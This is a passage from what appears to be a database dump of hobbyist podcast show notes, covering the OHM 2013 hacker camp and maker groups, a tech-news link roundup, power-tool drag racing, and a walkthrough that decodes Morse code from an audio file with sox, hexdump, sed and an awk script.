laser-beams.\r\n</p>\r\n\r\n<p>\r\nInside the castle, several tents will be raised, containing all kinds of art and entertainment.\r\n</p>\r\n\r\n<p>\r\nThe first tent will host vintage pinball and arcade machines. But these are not just for mindless consumerism! There will be a large pinball-repair station, where these old machines can get the TLC they so often need. Bring your multi-meter, spare parts, screwdrivers, and hack away! There will be a number of machines eligible for improvement.\r\n</p>\r\n\r\n<p>\r\nThe second pair of tents will contain the complete collection of <a href=\"https://awesomeretro.org/\" target=\"_blank\">Awesome Retro</a>, a group of retro-gaming enthusiasts who collect everything regarding gaming, as long as it\'s over a decade old. You\'ll find classics like Super Mario Kart and Bomberman, the first editions of Pong and Pac-Man, and a lot of other blasts from the past, which will wrap you like the warm blankets that they are. Besides that, you\'ll find a fine collection of ultra-high-end Personal Computers, but to year-2000 standards, of course. A game of Quake 1 multiplayer, anyone?\r\n</p>\r\n\r\n<p>A small and informal stage surrounded by sofas will also be available for competitions and presentations. In the time in between events, this “living room” is free to use as a cosy lounge. Because what better way to enjoy gaming than from a sofa, with friends, whilst eating crisps?\r\n</p>\r\n<p style=\"text-align: center;\">\r\n<a href=\"https://ohm2013.org/wiki/Project:Rainbow_Island#In_Sketchup\"><img class=\"aligncenter size-full wp-image-1079\" alt=\"Rainbow Island sketchup april\" src=\"https://ohm2013.org/site/wp-content/uploads/2013/06/Rainbow-Island-sketchup-april.jpg\" height=\"260\" width=\"580\"/></a>\r\n</p>\r\n<p>And that is all, you think? Think again, because this is Rainbow Island, where the word “boundary” got scratched from the dictionary!\r\n</p>\r\n<p>\r\nFirst of all, numerous smaller tents will be put up within the walls of the castle, consisting of the essentials of multi-player retro-gaming: comfy four-seater sofa, game console, great 4-player game, four controllers, a TV… and projector! Yes, the games will be projected on the castle walls, which are semi-transparent, so even people on the outside will be able to enjoy the competitions.\r\n</p>\r\n<p>\r\nNext, the interiors of the four castle towers are available for all kinds of arts and other projects. These towers are 4 by 4 meters wide, and can be entered at the ground level. You may claim these for your own projects!\r\n</p>\r\n<p>\r\nOther highlights which are in the process of being perceived –or otherwise prepared– are a life-size model of a CRAY-1 supercomputer, Operation Oversight (a <a href=\"https://en.wikipedia.org/wiki/Master_control\" target=\"_blank\">master-control room</a> putting you in the driver\'s seat of the world\'s super powers), and of course the results of the <a href=\"https://ohm2013.org/site/2013/01/30/dance-dissect-repurpose-competition/\" target=\"_blank\">Dance Dissect Repurpose competition</a>.\r\n</p>\r\n<p>\r\nNext we have a chat with Jeff POINCARE who was building a seat shaped like a Cray 1.<br />\r\n<strong>Cray-1</strong><br />\r\nFrom Wikipedia, the free encyclopedia <a href=\"https://en.wikipedia.org/wiki/Cray-1\">https://en.wikipedia.org/wiki/Cray-1</a>\r\nThe Cray-1 was a supercomputer designed, manufactured and marketed by Cray Research. The first Cray-1 system was installed at Los Alamos National Laboratory in 1976 and it went on to become one of the best known and most successful supercomputers in history. The Cray-1\'s architect was Seymour Cray, the chief engineer was Cray Research co-founder Lester Davis.\r\n</p>\r\n<p>\r\n<img width=\"70%\" src=\"https://upload.wikimedia.org/wikipedia/commons/f/f7/Cray-1-deutsches-museum.jpg\" alt=\"Picture of a Cray 1\" />\r\n</p>\r\n\r\n<h2>BruCON</h2>\r\n<p>\r\nFrom: <a href=\"https://2013.brucon.org/index.php/Main_Page\">https://2013.brucon.org/index.php/Main_Page</a><br />\r\nBruCON is an annual security and hacker conference providing two days of an interesting atmosphere for open discussions of critical infosec issues, privacy, information technology and its cultural/technical implications on society. Organized in Belgium, BruCON offers a high quality line up of speakers, security challenges and interesting workshops. BruCON is a conference by and for the security and hacker community. \r\n</p>\r\n<p>The conference tries to create bridges between the various actors active in computer security world, included but not limited to hackers, security professionals, security communities, non-profit organizations, CERTs, students, law enforcement agencies, etc.....\r\n</p>\r\n<p>\r\n<small><i>Hackers are \"persons who delight in having an intimate understanding of the internal workings of a system, computers and computer networks in particular.\" People who engage in illegal activities like unauthorized entry into computer systems are called crackers and don\'t have anything to do with hacking. BruCON doesn\'t promote any illegal activities and behavior. Many hackers today are employed by the security industry and test security software and systems to improve the security of our networks and applications. In addition, for the younger generations, we want to create some awareness and interest in IT students to learn more about IT Security.</i></small>\r\n</p>\r\n<p>\r\nTrainings are planned for Sep 24-25, the conference for Sep 26-27. BruCON 2012 will be in the historic center of Ghent, Belgium.\r\n</p>\r\n<h2>BlinkenArea</h2>\r\n<p>\r\nThen off to the BlinkenArea to learn how to solder under the able eye of Arne Rossius. \r\n</p>\r\n<p>\r\nWelcome in the BlinkenArea, the portal for \"blinken\" [=flashing/sparkling/blinking] projects. The BlinkenArea is a project group of people who are interested in computers and electronics and in a creative handling of both of it. They attend to the research and operation of flashing projects. In the meantime, more than 60 hard- and software projectes were developed. The group grows constantly and the number of small and big projects rises as well. The major projects have been the pixel room <a href=\"https://wiki.blinkenarea.org/index.php/TROIAEnglish\" title=\"TROIAEnglish\">TROIA</a> and the display building <a href=\"https://wiki.blinkenarea.org/index.php/BlueBoxEnglish\" title=\"BlueBoxEnglish\">bluebox</a>. Detailled information about all projects is available on the page <a href=\"https://wiki.blinkenarea.org/index.php/Projects\" title=\"Projects\">Projects</a>. News are always published in the BlinkenArea <a rel=\"nofollow\" class=\"external text\" href=\"https://blog.blinkenarea.org\">Blog</a>.\r\n</p>\r\n<h3>Origin and motivation</h3>\r\n<p>The page <a href=\"https://wiki.blinkenarea.org/index.php/BlinkenAreaEnglish\" title=\"BlinkenAreaEnglish\">BlinkenArea</a> tells you more about history, background and motivation. Apart from realising projects, the BlinkenArea people set their sights on collecting money which is scheduled to flow into public welfare, e.g. by selling own developed assembly kits or campaigns within bigger projects. The attention is focussed on supporting children, fighting against poverty and spreading education. Information about the social engagement of the BlinkenArea people can be found on the page <a href=\"https://wiki.blinkenarea.org/index.php/Campaign\" title=\"Campaign\">Campaign</a>. The BlinkenArea set further objectives which are listed on the page <a href=\"https://wiki.blinkenarea.org/index.php/Goals\" title=\"Goals\">Goals</a>.\r\n</p>\r\n<h3>Contribute</h3>\r\n<p>Everybody who is interested in our \"blinken\" projects and wants to contribute or support our honorary work is cordially welcomed. We are always looking for software engineers, tinkerer, translators, news editors, designer, musicians (set movies to music), and -- of course -- new projects. If you want to join the BlinkenArea, please visit the page <a href=\"https://wiki.blinkenarea.org/index.php/Join\" title=\"Join\">Join</a>. The BlinkenArea runs a <a href=\"https://wiki.blinkenarea.org/index.php/Mailinglist\" title=\"Mailinglist\">Mailinglist</a> and a discussion <a rel=\"nofollow\" class=\"external text\" href=\"https://forum.blinkenarea.org\">forum</a> where you can ask questions, join in the conversation or just read along. \r\n</p>\r\n<h3>Press</h3>\r\n<p>Information for journalists and editors is available on the page <a href=\"https://wiki.blinkenarea.org/index.php/Press\" title=\"Press\">Press</a>.\r\n</p>\r\n\r\n\r\n<h2>Sven Hageman</h2>\r\n<p>\r\nWhat do you do when the Broadcast tent is about to fall down ? Well you interview the evacuees ! And Sven works for <a href=\"https://www.rednose.nl/\">https://www.rednose.nl/</a> who paid for him to attend.<br />\r\nHe recommends this talk <a href=\"https://programmingisterrible.com/post/56960079370/ohm-2013-a-bad-programmer-talks-about-bad-programming\">https://programmingisterrible.com/post/56960079370/ohm-2013-a-bad-programmer-talks-about-bad-programming</a>\r\n</p>\r\n\r\n<h2>Debian Maintainer - Tomasz Rybak</h2>\r\n\r\n<pre>\r\n# aptitude show python-pytools\r\nPackage: python-pytools                  \r\nState: not installed\r\nVersion: 2011.5-2\r\nPriority: optional\r\nSection: python\r\nMaintainer: Tomasz Rybak <bogomips@post.pl>\r\nArchitecture: all\r\nUncompressed Size: 183 k\r\nDepends: python2.7 | python2.6, python (>= 2.6.6-7~), python (< 2.8), python-decorator, python-numpy\r\nDescription: big bag of things supplementing Python standard library\r\n \r\nHomepage: https://mathema.tician.de/software/pytools\r\n</pre>\r\n\r\n<h2><a href=\"https://mathema.tician.de/node/494\" title=\"PyOpenCL\">PyOpenCL</a></h2>\r\n<p>\r\n<a href=\"https://mathema.tician.de/software/pyopencl\">https://mathema.tician.de/software/pyopencl</a>\r\n</p>\r\n<p>PyOpenCL lets you access the OpenCL parallel computation API from Python. Here\'s what sets PyOpenCL apart:</p>\r\n<ul>\r\n<li>Object cleanup tied to lifetime of objects. This idiom, often called <a href=\"https://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization\">RAII</a> in C++, makes it much easier to write correct, leak- and crash-free code.</li>\r\n<li>Completeness. PyOpenCL puts the full power of OpenCL\'s API at your disposal, if you wish.</li>\r\n<li>Convenience. While PyOpenCL\'s primary focus is to make all of OpenCL accessible, it tries hard to make your life less complicated as it does so--without taking any shortcuts.</li>\r\n<li>Automatic Error Checking. All OpenCL errors are automatically translated into Python exceptions.</li>\r\n<li>Speed. PyOpenCL\'s base layer is written in C++, so all the niceties above are virtually free.</li>\r\n<li>Helpful, complete <a href=\"https://documen.tician.de/pyopencl\">documentation</a> and a <a href=\"https://wiki.tiker.net/PyOpenCL\">wiki</a>.</li>\r\n<li>Liberal licensing (MIT).</li>\r\n</ul>\r\n\r\n<h2><a href=\"https://mathema.tician.de/node/470\" title=\"PyCUDA\">PyCUDA</a></h2>\r\n<p>\r\n<a href=\"https://mathema.tician.de/software/pycuda\">https://mathema.tician.de/software/pycuda</a>\r\n</p>\r\n<p>PyCUDA lets you access Nvidia‘s CUDA parallel computation API from Python. Several wrappers of the CUDA API already exist–so what\'s so special about PyCUDA?</p>\r\n<ul>\r\n<li>Object cleanup tied to lifetime of objects. This idiom, often called <a href=\"https://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization\">RAII</a> in C++, makes it much easier to write correct, leak- and crash-free code. PyCUDA knows about dependencies, too, so (for example) it won\'t detach from a context before all memory allocated in it is also freed.</li>\r\n<li>Convenience. Abstractions like pycuda.driver.SourceModule and pycuda.gpuarray.GPUArray make CUDA programming even more convenient than with Nvidia\'s C-based runtime.</li>\r\n<li>Completeness. PyCUDA puts the full power of CUDA\'s driver API at your disposal, if you wish.</li>\r\n<li>Automatic Error Checking. All CUDA errors are automatically translated into Python exceptions.</li>\r\n<li>Speed. PyCUDA\'s base layer is written in C++, so all the niceties above are virtually free.</li>\r\n<li>Helpful <a href=\"https://documen.tician.de/pycuda\">Documentation</a>.</li>\r\n</ul>\r\n<h2>EMF Camp</h2>\r\n<p>\r\nAlec Wright (<a href=\"https://m0tei.co.uk/\">https://m0tei.co.uk/</a>) and Chris Munroe (@chrismunro40x) make the mistake of giving me a leaflet.\r\n</p>\r\n<p>\r\nElectromagnetic Field (EMF) is a non-profit UK camping festival for those with an inquisitive mind or an\r\ninterest in making things: hackers, geeks, scientists, engineers, artists, and crafters.</p>\r\n<p>\r\nIn the summer of 2012 we gathered hundreds of people in a field outside Milton Keynes for three days of\r\ntalks and workshops covering everything from <b>genetic modification</b> to <b>electronics</b>, <b>blacksmithing</b>\r\nto <b>high-energy physics</b>, <b>reverse engineering</b> to <b>lock picking</b>, <b>computer security</b> to\r\n<b>crocheting</b>, and <b>quadcopters</b> to <b>beer brewing</b>.\r\n</p>\r\n<p>\r\nTo help matters along, we arranged a 380-megabit internet connection, reliable WiFi, and a bar stocked with real ale.\r\n</p>\r\n<p>\r\n<a href=\"https://twitter.com/emfcamp\">@emfcamp</a> | facebook: \r\n<a href=\"https://www.facebook.com/emfcamp\">https://www.facebook.com/emfcamp</a>\r\n</p>\r\n\r\n<h2>Irish HackerSpaces</h2>\r\n<p>\r\nFirst we chat with BaconZombie and ?Procie? who are slacking off drinking beer in the tents</p>\r\n<ul>\r\n<li><a href=\"https://hackerspaces.org/wiki/Ireland\">https://hackerspaces.org/wiki/Ireland</a></li>\r\n<li><a href=\"https://hackerspaces.org/wiki/MiLKlabs\">https://hackerspaces.org/wiki/MiLKlabs</a></li>\r\n<li><a href=\"https://hackerspaces.org/wiki/091_Labs\">https://hackerspaces.org/wiki/091_Labs</a></li>\r\n<li><a href=\"https://hackerspaces.org/wiki/TOG\">https://hackerspaces.org/wiki/TOG</a></li>\r\n</ul>\r\n\r\n<p>Meanwhile Robert Fitzsimons is slaving away in the hardware hacking tent and gives us a rundown of his projects on display.</p>\r\n\r\n<h2>Open Garage</h2>\r\n<p>\r\nThe \"Open Garage\" is a double garage in Borsbeek, Belgium, some sort of hackerspace, where I host weekly workshops and many of my projects. The garage is open every Thursday evening to everyone who wants to join our community\'s numerous hacking projects.\r\n</p>\r\n<p>\r\nJust be excellent to each other (principle #1 out of 1), bring a drink, a project and a friend and we\'re all set.\r\n</p>\r\n<p>\r\nI have all the tools and basic stock for elementary wood and metal working. Electronics gear and misc materials are available to tackle various projects. I also run a nano brewery from my garage, try to convert a car to electric, have a printrbot/Wallace++ 3D printer and we are trying to get a professional CNC mill and CNC lathe to work and I want to build a toolset for some DIY biotech, among many other things.\r\n</p>\r\n<p>\r\nProjects that have been successfully tackled or demoed at the garage are 3D printers and CNCs, a weather balloon, quadcopters, soldering and welding tutorials, a Tesla coil, beer brewing, a compost filtering machine, Arduino and Raspberry Pi projects, a windbelt, a Rubens\' tube and many tens of other thingamajigs.\r\n</p>\r\n<p>\r\nFor those that may be new and interested: There\'s usually a few technology-minded people that drop by on random Thursday evenings with \"goesting\" to make. Some people bring a project and others bring their skills to collaborate on others\' projects. (and there\'s a lot of nerd talk) If you\'re into that kind of stuff, feel free to drop by.\r\n</p>\r\n<p>\r\nIt is NOT required for your skills be on a high level, you are NOT required to contribute knowledge; instead, it is encouraged that everyone LEARNS stuff at our gatherings.\r\n</p>\r\n<p>\r\nI\'d like to push my regulars to RSVP to the events, there\'s a lot of useful features in Meetup to share all kinds of stuff if you become part of the game ...\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://opengarage.org\">https://opengarage.org</a></li>\r\n<li><a href=\"https://hackerspaces.org/wiki/Open_Garage\">https://hackerspaces.org/wiki/Open_Garage</a></li>\r\n<li><a href=\"https://www.meetup.com/OpenGarage/\">https://www.meetup.com/OpenGarage/</a></li>\r\n</ul>\r\n\r\n<h2>Kerkrade Mini Maker Faire</h2>\r\n<ul>\r\n<li>Zoom H2 microphone\'s modification: <a href=\"https://www.youtube.com/watch?v=DoXxJuPRBrQ\">https://www.youtube.com/watch?v=DoXxJuPRBrQ</a></li>\r\n<li><a href=\"https://makerfairekerkrade.com/\">https://makerfairekerkrade.com/</a></li>\r\n</ul>\r\n<p><b>Kerkrade Mini Maker Faire</b> is a day of <b>family friendly</b> making, learning, crafting, inventing and tinkering in the <b>Discovery Center Continium.</b></p>\r\n<p><b>Be inspired</b> by arts, crafts, engineering, science and technology from the Makers of the Euregion.</p>\r\n<p>Best of all: there will be many opportunities to get hands on!</p>\r\n<h3>About Maker Faire:</h3>\r\n<p><a href=\"https://www.makerfaire.com\" target=\"_blank\">Maker Faire (https://www.makerfaire.com)</a> is the Greatest Show (and Tell) on Earth—a family-friendly showcase of invention, creativity and resourcefulness, and a celebration of the Maker movement. <strong>It\'s a place where people show what they are making, and share what they are learning.</strong>\r\n</p>\r\n',30,0,1,'CC-BY-SA','\"OHM 2013\"',0,1817,1),
(1341,'2013-09-23','TGTM Newscast for 2013-08-25',1277,'A newscast from Talk Geek to Me','<h2>DeepGeek &amp; Pokey<br /></h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130810/09240524136/jennifer-hoelzers-insiders-view-administrations-response-to-nsa-surveillance-leaks.shtml\">Jennifer\r\nHoelzer\'s Insider\'s View Of The Administration\'s Response To NSA\r\nSurveillance Leaks</a>\r\n</li>\r\n<li><a href=\"https://wlcentral.org/node/2887\">WikiLeaks Response to\r\nManning Statement</a>\r\n</li>\r\n<li><a\r\nhref=\"https://maggiemcneill.wordpress.com/2013/08/13/mumbo-jumbo/\">Mumbo\r\nJumbo</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/top-stories/stop-and-frisk-ruling-and-drug-sentencing-revamp-alter-criminal-justice-landscape-130815?news=850870\">Stop-and-Frisk\r\nRuling and Drug Sentencing Revamp Alter Criminal Justice Landscape</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.iww.org/content/mobile-rail-workers-win-nlrb-election\">Mobile\r\nRail Workers Win NLRB Election</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130814/17501024181/microsoft-uses-dmca-to-block-many-links-to-competing-open-office.shtml\">Microsoft\r\nUses DMCA To Block Many Links To Competing Open Office</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/pirate-bay-releases-pirate-browser-to-thwart-censorship-130810/\">Pirate\r\nBay Releases ‘Pirate Browser’ to Thwart Censorship</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130814/02074224170/yet-another-newspaper-paywall-goes-bust-sf-chronicle-gives-up-after-just-four-months.shtml\">Yet\r\nAnother Newspaper Paywall Goes Bust: SF Chronicle Gives Up After Just\r\nFour Months</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/08/google-fiber-continues-awful-isp-tradition-banning-servers\">Google\r\nFiber Continues Awful ISP Tradition of Banning “Servers”</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/dotcom-surveillance-and-copyright-extremism-will-cost-united-states-dearly-130809/\">Dotcom:\r\nSurveillance and Copyright Extremism Will Cost United States Dearly</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a\r\nhref=\"https://www.smh.com.au/technology/technology-news/sigurdur-thordarson-wikileakss-babyfaced-traitor-20130815-2ryiu.html\">Sigurdur\r\nThordarson: Wikileak\'s Babyfaced Traitor</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.buzzfeed.com/justinesharrock/anonymous-secret-presence-in-the-us-army\">Anonymous’\r\nSecret Presence In The U.S. Army</a>\r\n</li>\r\n<li><a\r\nhref=\"https://thecable.foreignpolicy.com/posts/2013/08/13/after_multiple_denials_cia_admits_to_snooping_on_noam_chomsky\">Exclusive:\r\nAfter Multiple Denials, CIA Admits to Snooping on Noam Chomsky</a>\r\n</li>\r\n<li><a\r\nhref=\"https://jacobinmag.com/2013/08/prostitution-law-and-the-death-of-whores/\">Prostitution\r\nLaw and the Death of Whores</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.theguardian.com/commentisfree/2013/aug/09/lavabit-shutdown-snowden-silicon-valley\">Email\r\nservice used by Snowden shuts itself down, warns against using US-based\r\ncompanies</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not necessarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"techdirt.com,\" \"iww.org,\"&nbsp;\r\n\"maggiemcneill.wordpress.com,\"\r\nand \"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\n<p>News from \"wlcentral.org\" used under permission of the Creative\r\nCommons\r\nby-attribution non-commercial no-derivatives license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.techdirt.com/articles/20130810/09240524136/jennifer-hoelzers-insiders-view-administrations-response-to-nsa-surveillance-leaks.shtml\">https://www.techdirt.com/articles/20130810/09240524136/jennifer-hoelzers-insiders-view-administrations-response-to-nsa-surveillance-leaks.shtml</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2887\">https://wlcentral.org/node/2887</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2013/08/13/mumbo-jumbo/\">https://maggiemcneill.wordpress.com/2013/08/13/mumbo-jumbo/</a></li>\r\n<li><a href=\"https://www.allgov.com/news/top-stories/stop-and-frisk-ruling-and-drug-sentencing-revamp-alter-criminal-justice-landscape-130815?news=850870\">https://www.allgov.com/news/top-stories/stop-and-frisk-ruling-and-drug-sentencing-revamp-alter-criminal-justice-landscape-130815?news=850870</a></li>\r\n<li><a href=\"https://www.iww.org/content/mobile-rail-workers-win-nlrb-election\">https://www.iww.org/content/mobile-rail-workers-win-nlrb-election</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130814/17501024181/microsoft-uses-dmca-to-block-many-links-to-competing-open-office.shtml\">https://www.techdirt.com/articles/20130814/17501024181/microsoft-uses-dmca-to-block-many-links-to-competing-open-office.shtml</a></li>\r\n<li><a href=\"https://torrentfreak.com/pirate-bay-releases-pirate-browser-to-thwart-censorship-130810/\">https://torrentfreak.com/pirate-bay-releases-pirate-browser-to-thwart-censorship-130810/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20130814/02074224170/yet-another-newspaper-paywall-goes-bust-sf-chronicle-gives-up-after-just-four-months.shtml\">https://www.techdirt.com/articles/20130814/02074224170/yet-another-newspaper-paywall-goes-bust-sf-chronicle-gives-up-after-just-four-months.shtml</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2013/08/google-fiber-continues-awful-isp-tradition-banning-servers\">https://www.eff.org/deeplinks/2013/08/google-fiber-continues-awful-isp-tradition-banning-servers</a></li>\r\n<li><a href=\"https://torrentfreak.com/dotcom-surveillance-and-copyright-extremism-will-cost-united-states-dearly-130809/\">https://torrentfreak.com/dotcom-surveillance-and-copyright-extremism-will-cost-united-states-dearly-130809/</a></li>\r\n<li><a href=\"https://www.smh.com.au/technology/technology-news/sigurdur-thordarson-wikileakss-babyfaced-traitor-20130815-2ryiu.html\">https://www.smh.com.au/technology/technology-news/sigurdur-thordarson-wikileakss-babyfaced-traitor-20130815-2ryiu.html</a></li>\r\n<li><a href=\"https://www.buzzfeed.com/justinesharrock/anonymous-secret-presence-in-the-us-army\">https://www.buzzfeed.com/justinesharrock/anonymous-secret-presence-in-the-us-army</a></li>\r\n<li><a href=\"https://thecable.foreignpolicy.com/posts/2013/08/13/after_multiple_denials_cia_admits_to_snooping_on_noam_chomsky\">https://thecable.foreignpolicy.com/posts/2013/08/13/after_multiple_denials_cia_admits_to_snooping_on_noam_chomsky</a></li>\r\n<li><a href=\"https://jacobinmag.com/2013/08/prostitution-law-and-the-death-of-whores/\">https://jacobinmag.com/2013/08/prostitution-law-and-the-death-of-whores/</a></li>\r\n<li><a href=\"https://www.theguardian.com/commentisfree/2013/aug/09/lavabit-shutdown-snowden-silicon-valley\">https://www.theguardian.com/commentisfree/2013/aug/09/lavabit-shutdown-snowden-silicon-valley</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1607,1),
(1342,'2013-09-24','Power Tool Drag Racing!',699,'MrGadgets speaks of an event he has just visited in Kansas City','<ul>\n  <li><a href=\"https://makekc.org/content/rob-bishops-2013-hackerspace-tour-raspberry-pi-maker-expo\">https://makekc.org/content/rob-bishops-2013-hackerspace-tour-raspberry-pi-maker-expo</a><br />\n   <br />\n  </li>\n  <li><a href=\"https://www.powertooldragraces.com/\">https://www.powertooldragraces.com/</a></li>\n  <li><a href=\"https://www.google.com/search?q=power+tool+racing&client=safari&hl=en&tbm=isch&tbo=u&source=univ&sa=X&ei=j50aUsqCGaWe2gX624DYCw&ved=0CD4QsAQ&biw=1024&bih=644\">https://www.google.com/search?q=power+tool+racing&amp;client=safari&amp;hl=en&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=j50aUsqCGaWe2gX624DYCw&amp;ved=0CD4QsAQ&amp;biw=1024&amp;bih=644</a><br />\n   <br />\n  </li>\n  <li><a href=\"https://makekc.org/\">https://makekc.org/</a></li>\n  <li><a href=\"https://makekc.org/content/power-tool-drag-racing\">https://makekc.org/content/power-tool-drag-racing</a></li>\n  <li><a href=\"https://makekc.org/content/fourth-annual-maker-expo-call-makers-racers-volunteers-and-sponsors\">https://makekc.org/content/fourth-annual-maker-expo-call-makers-racers-volunteers-and-sponsors</a></li>\n </ul>',155,0,1,'CC-BY-SA','Make:KC,\"power tool drag racing\"',0,1587,1),
(1343,'2013-09-25','Too Clever For Your Own Good',1103,'laindir uses a computer to translate Morse code from show 1216','<h2>Too Clever For Your Own Good</h2>\n <p>This is a story about being so lazy that I\'d rather teach the computer to do something than learn how to do it myself. HPR episode 1216 (<a href=\"https://hackerpublicradio.org/eps.php?id=1216\">https://hackerpublicradio.org/eps.php?id=1216</a>) piqued my curiosity, but rather than try to remember my Morse code, I decided I could teach the computer to translate it for me. This episode tells that story.</p>\n <h3>Commands</h3>\n <p>Uncompress the audio</p><pre>\nsox hpr1216.ogg hpr1216.wav\n</pre><p>Get the format data</p><pre>\nsoxi hpr1216.wav\n</pre><p>Figure out how long the wav header is so we can skip it</p><pre>\nsox -t raw -b 16 -r 44100 -c 1 -e signed-integer /dev/null empty.wav\n</pre><p>Dump the audio data in a text format</p><pre>\nhexdump -s 44 -v -e \'220/2 \"%04x\"\' -e \'\"\\n\"\' hpr1216.wav &gt; hpr1216.hex\n</pre><p>Convert values near 0 to spaces so it\'s easier to parse (at least visually)</p><pre>\nsed -e \'s/000./    /g\' -e \'s/fff./    /g\' hpr1216.hex &gt; hpr1216.space\n</pre><p>Run it through the following awk script to make it readable by morse</p><pre>\nawk -f morse.awk hpr1216.space &gt; hpr1216.dot\n</pre><p>And the script</p><pre>\n<code>\n#morse.awk\n#every line\n{\n        last = this;\n        this = $0 ~ /^ *$/; #220 samples near 0, roughly 20ms of silence\n}\n\n#consecutive lines of silence or sound\nlast == this {\n        duration++;\n}\n\n#sound-&gt;silent state transition\n!last &amp;&amp; this {\n        if(duration &gt; 10 &amp;&amp; duration &lt; 20) #dit is roughly 18 lines or ~360ms\n        {\n                printf \".\";\n        }\n        else if(duration &gt; 30 &amp;&amp; duration &lt; 40) #dah is roughly 36 lines, 720ms\n        {\n                printf \"-\";\n        }\n\n        duration = 0;\n}\n\n#silent-&gt;sound state transition\nlast &amp;&amp; !this {\n        if(duration &gt; 30 &amp;&amp; duration &lt; 40) #short gap (letter) is roughly 720ms\n        {\n                printf \"\\n\";\n        }\n        else if(duration &gt; 80) #medium gap (word) is anything over 1600ms\n        {\n                printf \"\\n\\n \";\n        }\n\n        duration = 0;\n}\n</code>\n</pre><p>Use morse to decode the translated output</p><pre>\nmorse -d &lt; hpr1216.dot &gt; hpr1216.txt\n</pre><p>And this is what it looks like</p>\n <p>IOS SOS SOS THE STANDARD EMERGENCY SIGNAL IN MORSE CODE. FOR EMERGENCY SIGNALS MORSE CODE CAN BE SENT BY WAY OF IMPROVISED SOURCES THAT CAN BE EASILY KEYED ON AND OFF MAKING IT ONE OF THE SIMPLEST AND MOST VERSATILE METHODS OF TELECOMMUNICATION. THE MOST COMMON DISTRESS SIGNAL IS SOS OR THREE DOTS THREE DASHES AND THREE DOTS INTERNATIONALLY RECOGNIZED BY TREATY. MORSE CODE FROM WIKIPEDIA THE FREE ENCYCLOPEDIA MORSE CODE IS A METHOD OF TRANSMITTING TEXT INFORMATION AS A SERIES OF ON-OFF TONES LIGHTS OR CLICKS THAT CAN BE DIRECTLY UNDERSTOOD BY A SKILLED LISTENER OR OBSERVER WITHOUT SPECIAL EQUIPMENT. THE INTERNATIONAL MORSE CODE ENCODES THE ISO BASIC LATIN ALPHABET SOME EXTRA LATIN LETTERS THE ARABIC NUMERALS AND A SMALL SET OF PUNCTUATION AND PROCEDURAL SIGNALS AS STANDARDIZED SEQUENCES OF SHORT AND LONG SIGNALS CALLED DOTS AND DASHES OR DITS AND DAHS. BECAUSE MANY NON-ENGLISH NATURAL LANGUAGES USE MORE THAN THE 26 ROMAN LETTERS EXTENSIONS TO THE MORSE ALPHABET EXIST FOR THOSE LANGUAGES. EACH CHARACTER LETTER OR NUMERAL IS REPRESENTED BY A UNIQUE SEQUENCE OF DOTS AND DASHES. THE DURATION OF A DASH IS THREE TIMES THE DURATION OF A DOT. EACH DOT OR DASH IS FOLLOWED BY A SHORT SILENCE EQUAL TO THE DOT DURATION. THE LETTERS OF A WORD ARE SEPARATED BY A SPACE EQUAL TO THREE DOTS ONE DASH AND TWO WORDS ARE SEPARATED BY A SPACE EQUAL TO SEVEN DOTS. THE DOT DURATION IS THE BASIC UNIT OF TIME MEASUREMENT IN CODE TRANSMISSION. FOR EFFICIENCY THE LENGTH OF EACH CHARACTER IN MORSE IS APPROXIMATELY INVERSELY PROPORTIONAL TO ITS FREQUENCY OF OCCURRENCE IN ENGLISH. THUS THE MOST COMMON LETTER IN ENGLISH THE LETTER E HAS THE SHORTEST CODE A SINGLE DOT. MORSE CODE IS MOST POPULAR AMONG AMATEUR RADIO OPERATORS ALTHOUGH IT IS NO LONGER REQUIRED FOR LICENSING IN MOST COUNTRIES INCLUDING THE US. PILOTS AND AIR TRAFFIC CONTROLLERS USUALLY NEED ONLY A CURSORY UNDERSTANDING. AERONAUTICAL NAVIGATIONAL AIDS SUCH AS VORS AND NDBS CONSTANTLY IDENTIFY IN MORSE CODE. COMPARED TO VOICE MORSE CODE IS LESS SENSITIVE TO POOR SIGNAL CONDITIONS YET STILL COMPREHENSIBLE TO HUMANS WITHOUT A DECODING DEVICE. MORSE IS THEREFORE A USEFUL ALTERNATIVE TO SYNTHESIZED SPEECH FOR SENDING AUTOMATED DATA TO SKILLED LISTENERS ON VOICE CHANNELS. MANY AMATEUR RADIO REPEATERS FOR EXAMPLE IDENTIFY WITH MORSE EVEN THOUGH THEY ARE USED FOR VOICE COMMUNICATIONS. THERE ARE MANY APPLICATIONS IN LINUX TO HELP YOU LEARN MORSE CODE. CHECK OUT RADIO.LINUX.ORG.AU FOR A LIST OF APPLICATIONS.</p>\n <p>A little googling will show that this text is the brief description of Morse code given at the top of its Wikipedia article (<a 